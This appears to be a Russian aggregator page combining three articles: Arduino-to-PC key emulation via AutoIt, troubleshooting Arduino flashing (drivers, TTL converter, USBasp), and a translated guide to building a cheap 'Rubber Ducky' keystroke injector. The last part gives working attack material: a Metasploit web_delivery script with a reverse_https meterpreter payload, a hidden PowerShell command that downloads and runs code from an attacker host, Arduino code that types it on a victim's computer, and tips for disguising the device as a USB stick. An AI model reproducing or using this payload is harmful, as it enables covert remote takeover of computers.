Андрей Смирнов
Время чтения: ~13 мин.
Просмотров: 10

Управление компьютером при помощи Arduino через USB

Для одного проекта необходимо было сделать управление компьютером при помощи ардуинки. Почитав информацию в интернете нашел, что такое возможно только при помощи Ардуинок с atmega 32u4 или Due. Мне такой вариант не подошел, так как у меня уже была готовая разведенная плата с atmega328, поэтому пришлось искать другой вариант, которым я и хочу с вами поделиться.

Берем любую ардуинку, например Uno и подключаем к ней кнопку (в моем случае один контакт к pin 2, другой к GND

1481399598172386744.png

Заливаем прошивку

bool buttonClicked = false;

void setup() {

Serial.begin(9600);

pinMode(2, INPUT_PULLUP);

}

void loop() {

if ((digitalRead(2) == LOW) && (buttonClicked == false)) {

Serial.println(«KEY_UP»);

buttonClicked = true;

}

if (digitalRead(2) == HIGH) buttonClicked = false;

delay(10);

}

Теперь перейдем к компьютеру.

Качаем и устанавливаем AutoIt https://www.autoitscript.com/site/autoit/

И библиотеку для работы с COM портом http://www.mosaiccgl.co.uk/AutoItDownloads/confirm.php?get=C…

Создаем примитивное фоновое приложение

#include

$err = 1

_CommSetPort(5, $err)

_CommPortConnection()

While 1

$key = _CommGetLine()

$key = StringReplace($key, @LF, «»)

$key = StringReplace($key, @CR, «»)

if ($key = «KEY_UP») then Send(«{UP}»)

WEnd

В строке _CommSetPort(5, $err) 5 — заменить на номер соответствующего COM порта, на котором висит ардуинка

Теперь по нажатию кнопки подключенной к Arduino у нас на компьютере будет эмулироваться нажатие кнопки ВВЕРХ в любом окне, даже в играх.

Таким образом эмулировать можно нажатие любой кнопки, комбинации кнопок, движение мышки и все, что вам будет угодно.

107feonor12Темы / СоветыДобавлено 9 комментариев Первым делом хочу сказать, что это не гайд по решению всех на свете проблем с ардуино, а лишь тех, с которыми пришлось столкнуться мне. Тем не менее сталкиваясь с этими проблемами я потратил немало времени на поиски информации по их решению, так что думаю, статья будет полезна. Так же я не буду рассматривать проблемы, связанные с компиляцией. Ошибки компиляции — это ошибки программирования, это уже частные случаи и рассматривают их так же в частном порядке на всевозможных форумах.Способ 1. Стандартная прошивкаНесмотря на всю простоту ардуино в плане программирования, даже на этом этапе могут возникнуть проблемы. Возникают они, как правило, при использовании китайских клонов. Но будем планомерными. Для программирования ардуино так, как это замышлялось разработчиками, необходимо скачать и установить с оффсайта среду разработки Arduino IDE и провести установку в соответствии с указаниями. Об этом есть сотни, если не тысячи, статей даже в русскоязычном сегменте интернета, по этому останавливаться на этом не буду. При использовании оригинальных ардуино проблем возникнуть не должно. Но у нас, как правило, все используют куда более дешевые китайские клоны. Они, в общем то, ничем не отличаются от оригинала, по крайней мере в плане производительности. Лично мне китайская компоновка Arduino Pro Mini с контактами А4 и А5 в ряду с остальными, нравиться куда больше, чем компоновка оригинальной платы. Но в ту же очередь китайцы, несмотря на коммунистический строй, по сути самые настоящие капиталисты, и экономят для экспорта на всем, на чем только можно. Под эту экономию подпадают и чипы USB интерфейса тех самых ардуино. Тут и начинаются проблемы. Дело в том, что в китайских клонах используется не оригинальный чип CH340. И так, будем считать, что Вы выполнили все стандартные процедуры установки ПО и драйверов, но ардуино так и не шьется. Первым делом идем в ПУСК>Панель управления>Диспетчер устройств. Тут обращаем внимание на два пункта: Контроллеры USB и COM LPT порты.1560435299_screenshot_6.jpgЕсли пункта Порты (COM и LPT) нет вообще, это первая подсказка в решении проблемы. Если все хорошо, то в ком портах должен появляться новый порт при подключении ардуино. Если этого не происходит, то смотрим что творится в «Контроллеры USB». При подключении ардуино должно появляться новое устройство с надписью USB 2.0 Serial. Это, на самом деле, хороший знак. Если комп видит, что к нему подключились, но не может понять кто — значит ардуинка у нас живая, а проблема в дровах. Если же этого не происходит — читаем способ 2 и способ 3. Для решения же этой проблемы необходимо установить новый драйвер вручную. Скачиваем драйвер, папку с ним кладем в удобное место. Идем снова в Диспетчер устройств, далее USB 2.0 Serial>ПКМ>Свойства>Драйвер>Обновить>Выполнить поиск драйверов на этом компьютере и выбираем папку с драйвером. После этого система может начать ругаться, что драйвер не из проверенных источников. Жмем все равно установить.

Скачать драйверВы скачали драйвер, установили, но ардуино все равно не шьется. Проблема может быть как и с завода, так и по вине пользователя, это не суть важно. Что делаем. Переходим ко второму способу.Способ 2. Прошивка через TTL конвертерВсе платы ардуино, начиная с серии Nano, имеют USB интерфейс. Серия Mini и Pro Mini его не имеет, и прошивается исключительно TTL конвертером. Но дело в том, что и любая другая ардуинка шьется этим программатором. Если у Вас его нет — настоятельно рекомендую купить, тем более цена у него 50-60 рублей (на момент написания статьи), это универсальный программатор, который может еще не раз пригодится. Так я, например, при помощи него перепрошил свою аппаратуру радиоуправления FlySky i6 и рацию Kenwood T2000, не покупая специальных фирменных программаторов, которые стоят куда дороже. Но я отошел от темы. В общем, на всех платах ардуино есть выводы RX и TX (это интерфейс общения, «передача/прием»), при помощи которых можно прошить ардуино в обход чипа USB интерфейса. Эти конвертеры, однако, тоже есть разных версий. Когда я покупал свой, самый распространенный и самый дешевый был конвертер, без вывода reset. Особенность программирования ардуино таким программатором заключается в том, что ровно по окончанию компиляции и началу загрузки нужно жать кнопку reset на плате. Тут, на самом деле, нужна некая сноровка. Если первый раз пропустили — продолжайте жать кнопку с периодичностью примерно в 2 секунды. Среда дает 10 запросов, если удастся попасть в один из них — вуаля, мы прошили ардуинку. Более современные программаторы имеют пятый вывод, который подключается к тому самому ресету, и дергает его автоматически. Но главное, нюанс я описал. Ещё момент. Как правило, RX нужно подключать к TX и наоборот. Но в редких случаях (ну китайцы) нужно подключать RX в RX, а TX в TX. Просто неправильно подписывают. И так, если и это не помогает, переходим к способу 3.
Но на всякий прикрепляю дрова для CP2102Особенности.Программатор требует установки драйверов, проблем с этим не у меня, не у других замечено не было, просто ставьте драйвер на CP2102, либо тот, который предлагает производитель. Способ 3. Прямое программирование чипаНачиная с версии Nano платы Arduino имеют разъем внутрисхемного программирования ISP . Это шести контактный разъем, на который, как правило, никто не обращает внимание. При помощи него можно прошить микроконтроллер непосредственно, напрямую, в обход всего, что только можно обойти, как физической части, так и программной. Именно таким образом мне пришлось прошивать свою последнюю плату arduino. Собственно, при помощи этого метода можно создавать и свои клоны ардуино, прошивая в атмегу ардуиновский бутлоадер. Об этом я писал в своей статье про авионику спортивной ракеты. Но снова же, не об этом. Для прошивки потребуется вот такой вот программатор:Это обычный USBasp, самый распространённый программатор AVR микроконтроллеров. Стоит на али те же копейки.ОсобенностиПрограмматор имеет стандартный 10-ти контактный разъем, однако в комплекте можно купить переходник на 6-ти контактный. Его конечно можно изготовить и самому или подключить просто проводами, однако так значительно проще и удобнее.Прошивка осуществляется не стандартным способом. Для начала идем в Инструменты>Программатор>USBaspДалее Скетч/Загрузить через программатор. ПроблемыКак и говорил, тут я описываю проблемы, с которыми столкнулся я. Этот программатор так же требует драйверов. Найти их не сложно. Однако связываясь с китайцами с целью экономии, нужно быть готовым к неожиданным поворотам. Лично я, при работе с этим программатором, столкнулся со следующей проблемой, которую когда-то описывал на радиокоте:

avrdude.exe: error: could not find USB device "USBasp" with vid=0x16c0 pid=0x5dc

Над решением беды бился долго, и нашел лишь на забугорных форумах. И так:1)По следующей ссылке скачиваем архив LibUSB-64bit.zip 2)Подключаем программатор к USB порту.3)Распаковываем архив и переходим по пути куда распаковалиLibUSB-64bitlibusb-win32-bin-1.2.1.0binx864) Запускаем inf-wizard.exe5)Жмем Next6)Выбираем USBasp и жмем Next7)Следующие поля заполняем таким образом:Жмем Next8 )Сохраняем сгенерированный файл по пути:LibUSB-64bitlibusb-win32-bin-1.2.1.0binamd64 — если у вас 64-х разрядная система илиLibUSB-64bitlibusb-win32-bin-1.2.1.0binx86 — если 32-х разрядная 9)Жмем install now10) Система уведомит, что драйвер не из проверенных источников. Жмем «Все равно установить» 11)Начнется установка драйвера. В процессе установки услышим звук отключения и подключения USB устройства. По окончанию установки жмем ОК.Ещё несколько советовОчень распространенные модули NRF24L01 имеют большой косяк. Для нормальной и стабильной работы этих модулей необходимо по питанию повесить конденсатор хотя бы на 10 мкФ 5 В. Меньше не желательно, больше — бесполезно. Но если нет на 10, конечно, ставьте на 22 или 47. Так же советуют параллельно нему повесить еще один керамический на 10-100 нФ. При чем как можно ближе к самому модулю, в идеале — на выводы. В противном случае модуль вроде и видится, но нормально не передает.Если на выводах RX и TX висит какое-то исполняющее устройство — ардуинка не прошьется. Сначала прошивайте, потом подключайте на эти выводы необходимое устройство.На этом все, Надеюсь информация будет кому-то полезна.Всем удачи в творчестве! Автор оригинала: Adam Eaton

  • Перевод

59dcfb8fe4c4e906279297.jpegНачнём с традиционного «Этот материал представлен только в образовательных целях». Если вы используете эту информацию для взлома HBO и выпуска следующего сезона «Игры престолов» бесплатно на YouTube, ну… здорово. В том смысле, что я никак не поощряю подобное поведение. Если не знаете, что такое «резиновая уточка» (USB Rubber Ducky), это устройство, которое сделал Hak5, на фото. Оно выглядит и ведёт себя как обычная флешка, но её можно запрограммировать на очень быстрый ввод клавиш с клавиатуры. «Уточка» способна взломать любую систему за несколько секунд. Единственный недостаток — вам понадобится физический доступ к компьютеру. И ещё она стоит $50, вот почему я написал эту статью. Мы используем 5V Adafruit Trinket и кабель microUSB — вот и всё, что нам понадобится. К счастью, Adafruit предоставляет библиотеку для интерфейса клавиатуры по USB, так что сразу делаем #include. Вам понадобится установить библиотеку, следуя этой инструкции.#include Можем поиграться с библиотекой для начала, начнём с инициализации флэшки как HID-устройства методом begin().

#include   void setup() {     TrinketKeyboard.begin(); }  void loop() {     TrinketKeyboard.print("Help, I am trapped in a computer! n");     delay(500); }

bfb91c3cbd675edef3a67e2eb4d4c92b.png Выглядит неплохо. Теперь запустим команды на компьютере жертвы. Это можно сделать, «нажав» клавишу Windows, набрав cmd, Enter, а затем саму команду.

#include   void pressEnter() { TrinketKeyboard.pressKey(0, 0x28); delay(10); TrinketKeyboard.pressKey(0,0); delay(300); }  void winRun() { TrinketKeyboard.pressKey(0x08, 0x15); delay(30); TrinketKeyboard.pressKey(0,0); }  void setup() { TrinketKeyboard.begin(); delay(1000); winRun(); delay(100); winRun(); delay(300); // Run cmd TrinketKeyboard.print("cmd"); pressEnter(); delay(500); TrinketKeyboard.print("ipconfig"); delay(100); pressEnter(); }

Отлично. Создадим эксплоит во фреймворке Metasploit. Будем использовать модуль web_delivery. Я выбрал его из-за высокой скорости и низкой вероятности срабатывания антивируса. Он также ничего не пишет на диск, так что не оставит следов по окончании работы. Здесь мы ломаем 64-битную Windows 10, так что выберем мишенью PowerShell, но имейте в виду, это не эксплоит против PowerShell. Мы просто используем оболочку, чтобы скачать нужные файлы с сервера.use exploit/multi/script/web_delivery Нужно сказать нашей программе, откуда брать бинарники:set LHOST 1.2.3.4 Дальше указываем порт, который не вызовет подозрений, что насчёт 443? 😉set LPORT 443 Metasploit каждый раз генерирует случайный URIPATH, а мы хотим иметь возможность запускать и останавливать прослушку порта в любой момент без необходимости перекомпилировать код для флешки.set URIPATH / Теперь нужно выбрать Powershell в качестве метода доставки. Эксплоит поддерживает три цели, помеченные идентификаторами: это 0: Python, 1: PHP, и 2: Powershell.set TARGET 2 Теперь задаём полезную нагрузку. Я использую reverse_https, ведь мы работаем по 443-му порту. Для большинства систем обнаружения вторжений будет выглядеть как обычное соединение.set PAYLOAD windows/meterpreter/reverse_https И наконец exploit. Чтобы удобно было останавливать и возобновлять прослушку порта, создадим конфигурационный файл: usb.rc.use exploit/multi/script/web_delivery set LHOST 1.2.3.4 set LPORT 443 set URIPATH / set TARGET 2 set PAYLOAD windows/meterpreter/reverse_https exploit Получаем полезную нагрузку для запуска на компьютере жертвы:powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/'); Теперь можем запустить это с флэшки.

#include   void pressEnter() {     TrinketKeyboard.pressKey(0, 0x28);   delay(10);   TrinketKeyboard.pressKey(0,0);   delay(300); }  void winRun() {   TrinketKeyboard.pressKey(0x08, 0x15);   delay(30);   TrinketKeyboard.pressKey(0,0); }  void setup() {   TrinketKeyboard.begin();   delay(1000);   winRun();   delay(100);   winRun();   delay(300);   // Run cmd   TrinketKeyboard.print("cmd");   pressEnter();   delay(500);   TrinketKeyboard.print("powershell.exe -nop -w hidden -c $N=new-object net.webclient;$N.proxy=[Net.WebRequest]::GetSystemWebProxy();$N.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $N.downloadstring('http://1.2.3.4:8080/');");    delay(100);   pressEnter(); }   void loop() {   // nothing happens after setup }

Работает очень неплохо. Нам нужно около 40 секунд, чтобы поиметь Дейнерис, я имею в виду компьютер жертвы.d601aa2dc4c7719c6497c8345230028f.png Из-за ограниченной мощности «уточки» загрузчик не доступен постоянно, как в обычной Arduino, вы можете загрузить код только когда нажмёте кнопку на флешке или в течение первых 30 секунд работы. То есть первые 30 секунд после подключения флешки мы ждём, пока код реально сработает, а затем ещё 10 секунд для набора и выполнения скрипта. Было бы очень полезно сократить время доступа на 75%. Вот этот хороший человек отредактировал прошивку, чтобы пропустить загрузчик при подключении. Мы взяли код и перепрошили флэшку, перезагрузили код и та-дам — всё работает. Но можно сделать ещё лучше: хорошо бы спрятать микросхему в корпус, чтобы она не вызывала подозрений. Я выбрал одну из тех неприметных USB-флешек, которые рекрутеры раздают миллионами, и заказал эти классные маленькие OTG-адаптеры microUSB − USB A. Пришлось отрезать ненужные части печатной платы, чтобы она поместилась в корпус, всунул OTG-адаптер в корпус USB A и заклеил всё суперклеем. По мне так выглядит вообще не подозрительно, но всё-таки 10 секунд — это немалое время, особенно когда прячешься от драконов.d9509d411558d5f5e1dfb7067fc21a8f.png Вы также можете заказать Arduino Pro Micro на Amazon примерно за $10. Если есть терпение, то можно даже найти на eBay примерно за $3 или $4. У меня не нашлось USB-флэшки достаточно большого размера для Pro Micro, так что я подключил OTG-адаптер, перемотал его изолентой и на этом успокоился.56afa2d0d67a45157197267efcdaaba4.jpg Нужно немного изменить программу, потому что мы используем другую библиотеку, но работать она будет как и раньше.

#include "Keyboard.h"  void winRun() {   Keyboard.press(KEY_LEFT_GUI);   Keyboard.press('r');   delay(30);   Keyboard.releaseAll();   delay(100); }  void setup() {   Keyboard.begin();   delay(2000);   winRun();   Keyboard.println("cmd");   Keyboard.write(KEY_RETURN);   delay(500);   Keyboard.println("powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://1.2.3.4:8080/');");    Keyboard.write(KEY_RETURN); }  void loop() {   // put your main code here, to run repeatedly: }

Самое большое преимущество Pro Micro — это скорость. Теперь нам нужно всего 3 секунды физического доступа. Настоящая атака на ходу. Если вы намерены применить эту силу, делайте это ради благого дела. Убейте Серсею.Используемые источники:

  • https://pikabu.ru/story/upravlenie_kompyuterom_pri_pomoshchi_arduino_cherez_usb_4676892
  • https://usamodelkina.ru/14782-neskolko-sposobov-proshivki-arduino-i-reshenie-problem-svjazannyh-s-jetim.html
  • https://habr.com/post/407337/

Рейтинг автора
5
Подборку подготовил
Максим Уваров
Наш эксперт
Написано статей
171
Ссылка на основную публикацию
Похожие публикации